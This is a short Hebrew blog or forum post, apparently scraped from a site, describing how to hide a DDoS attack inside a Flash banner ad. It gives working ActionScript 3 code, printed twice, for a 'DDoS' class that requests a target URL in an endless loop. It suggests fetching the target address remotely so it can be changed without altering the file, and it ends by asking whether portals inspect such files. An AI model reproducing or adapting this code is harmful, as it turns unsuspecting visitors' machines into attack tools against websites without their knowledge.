מטרת התקיפה היא לגרום להשבתת פעילות הגורם (לדוגמא: מניעה מאתר מסויים לתת שירות לגולשיו), בהמשך אפרט איך ניתן מקובץ פלאש בלתי-מזיק לכאורה ליצור התקפה מאסיבית על אתרי אינטרנט.
התקפות DDoS מבוצעות ע"י ניצול המשאבים של הגורם המותקף כך שמשאביו של הגורם המותקף לא יהיו פנויים עבור משתמשים רגילים.
באפליקציית פלאש (קובץ SWF) אפשר לבצע קריאות לכתובת אינטרנט בפרוטוקול http ע"י שימוש במחלקה URLRequest.
ע"י קריאות חוזרות ונישנות למחלקה זו אפשר לטעון עמודי אינטרנט של אתר מסויים שוב ושוב. פעולה זו ממחשב אחד לא תגרום לקריסת האתר ולא תפגע בביצועיו, אבל מה יקרה אם קוד זה יהיה קיים בתוך באנר פלאש שמוצג בפורטל גדול ?
כל הגולשים שייראו את הבאנר, יהפכו להיות כלים בהתקפת DDoS ללא ידיעתם.
קוד לדוגמא:
Using actionscript3 Syntax Highlighting
package
{
import flash.display.*;
import flash.events.*;
import flash.net.*;
public class DDoS extends MovieClip
{
public var Url:String = "http://www.website.com";
public var UrlLoader:URLLoader = new URLLoader();
public function DDoS()
{
UrlLoader.addEventListener(Event.COMPLETE, Loop);
Loop();
}
private function Loop(e:Event=null):void
{
UrlLoader.load(new URLRequest(Url));
}
}
}
{
import flash.display.*;
import flash.events.*;
import flash.net.*;
public class DDoS extends MovieClip
{
public var Url:String = "http://www.website.com";
public var UrlLoader:URLLoader = new URLLoader();
public function DDoS()
{
UrlLoader.addEventListener(Event.COMPLETE, Loop);
Loop();
}
private function Loop(e:Event=null):void
{
UrlLoader.load(new URLRequest(Url));
}
}
}
Parsed in 0.031 seconds, using GeSHi 1.0.8.4
אם כתובת האתר המותקף (מוגדרת במשתנה Url) תיטען באופן דינאמי מכתובת באינטרנט אז יהיה אפשר לשנות את כתובת האתר המותקף מרחוק ללא שינוי בקובץ ה-SWF.
האם הפורטלים הגדולים בודקים את הקוד של קבצי ה-SWF המוצגים לגולשים ?
האם יש כלי אוטומטי שבודק קבצי SWF ומחפש קוד עויין ? (רעיון לסטארט אפ)
קישור למאמר המקורי
חדשות
מפת האתר
אינדקס מפת האתר
רשימת עדכונים